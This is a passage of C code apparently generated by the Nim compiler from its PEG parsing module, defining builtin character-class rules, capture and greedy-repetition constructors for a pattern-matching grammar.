getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA1_;
LA3_: ;
{
NimStringDesc* T6_;
T6_ = (NimStringDesc*)0;
T6_ = rawNewString((tokKindToStr__fTB9aWRDboDH2Gq75cAF9cKQ[(kind)- 0] ? tokKindToStr__fTB9aWRDboDH2Gq75cAF9cKQ[(kind)- 0]->Sup.len : 0) + 9);
appendString(T6_, tokKindToStr__fTB9aWRDboDH2Gq75cAF9cKQ[(kind)- 0]);
appendString(T6_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_53));
pegError__BMmAapFwghEVCePgcFScUg((&(*p)), T6_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA1_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegsCapture)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T1_;
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T1_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 24);
T1_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T1_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T1_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T1_), sizeof((*Result)));
}
static N_INLINE(void, any__vJ7L9clGomKkGyXSc8Lc5TQpegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 1);
}
static N_INLINE(void, anyRune__vJ7L9clGomKkGyXSc8Lc5TQ_2pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 2);
}
static N_INLINE(void, newLine__vJ7L9clGomKkGyXSc8Lc5TQ_3pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 3);
}
N_LIB_PRIVATE N_NIMCALL(void, npegsGreedyRep)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
switch (a.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 17):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 20):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 21):
{
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T3_;
nimZeroMem((void*)(&T3_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T3_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T3_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18);
T3_.ch = a.ch;
nimCopyMem((void*)Result, (NIM_CONST void*)(&T3_), sizeof((*Result)));
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T5_;
nimZeroMem((void*)(&T5_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T5_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T5_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19);
T5_.charChoice = a.charChoice;
nimCopyMem((void*)Result, (NIM_CONST void*)(&T5_), sizeof((*Result)));
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 1):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 2):
{
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 20);
}
break;
default:
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T8_;
nimZeroMem((void*)(&T8_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T8_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T8_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 17);
T8_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T8_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T8_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T8_), sizeof((*Result)));
}
break;
}
}
static N_INLINE(void, unicodeLetter__vJ7L9clGomKkGyXSc8Lc5TQ_4pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 4);
}
static N_INLINE(void, unicodeUpper__vJ7L9clGomKkGyXSc8Lc5TQ_5pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 6);
}
static N_INLINE(void, unicodeLower__vJ7L9clGomKkGyXSc8Lc5TQ_6pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 5);
}
static N_INLINE(void, unicodeTitle__vJ7L9clGomKkGyXSc8Lc5TQ_7pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 7);
}
static N_INLINE(void, unicodeWhitespace__vJ7L9clGomKkGyXSc8Lc5TQ_8pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8);
}
N_LIB_PRIVATE N_NIMCALL(void, builtin__MaL2q9aiyWZXRK0fbgHwGWA_5)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
switch (hashString((*p).tok.literal) & 15) {
case 0:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_58))) goto LA5_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_59))) goto LA6_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_62))) goto LA9_;
break;
case 1:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_54))) goto LA1_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_68))) goto LA15_;
break;
case 2:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_60))) goto LA7_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_61))) goto LA8_;
break;
case 3:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_66))) goto LA13_;
break;
case 5:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_55))) goto LA2_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_67))) goto LA14_;
break;
case 6:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_57))) goto LA4_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_63))) goto LA10_;
break;
case 10:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_65))) goto LA12_;
break;
case 11:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_56))) goto LA3_;
break;
case 14:
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_64))) goto LA11_;
break;
}
goto LA16_;
LA1_: ;
{
newLine__vJ7L9clGomKkGyXSc8Lc5TQ_3pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA2_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_69, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA3_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_70, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA4_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_71, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA5_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_72, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA6_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_73, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA7_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_74, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA8_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_75, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA9_: ;
{
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_76, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA10_: ;
{
tyArray__rS9bk8uu9axETY9bOxp2l1GHQ T28_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T29_;
nimZeroMem((void*)T28_, sizeof(tyArray__rS9bk8uu9axETY9bOxp2l1GHQ));
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_77, (&T28_[0]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T29_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegscharSet(TM__YGOrctedenU9ao6jM7xmy6g_78, (&T29_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegsGreedyRep(T29_, (&T28_[1]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegssequence(T28_, 2, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA11_: ;
{
unicodeLetter__vJ7L9clGomKkGyXSc8Lc5TQ_4pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA12_: ;
{
unicodeUpper__vJ7L9clGomKkGyXSc8Lc5TQ_5pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA13_: ;
{
unicodeLower__vJ7L9clGomKkGyXSc8Lc5TQ_6pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA14_: ;
{
unicodeTitle__vJ7L9clGomKkGyXSc8Lc5TQ_7pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA15_: ;
{
unicodeWhitespace__vJ7L9clGomKkGyXSc8Lc5TQ_8pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA17_;
LA16_: ;
{
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T36_;
NimStringDesc* T37_;
nimZeroMem((void*)(&T36_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T36_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T36_), (NIM_CONST void*)(&(*p)), sizeof(T36_));
T37_ = (NimStringDesc*)0;
T37_ = rawNewString(((*p).tok.literal ? (*p).tok.literal->Sup.len : 0) + 18);
appendString(T37_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_79));
appendString(T37_, (*p).tok.literal);
pegError__BMmAapFwghEVCePgcFScUg((&T36_), T37_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA17_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegstermChar)(NIM_CHAR t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
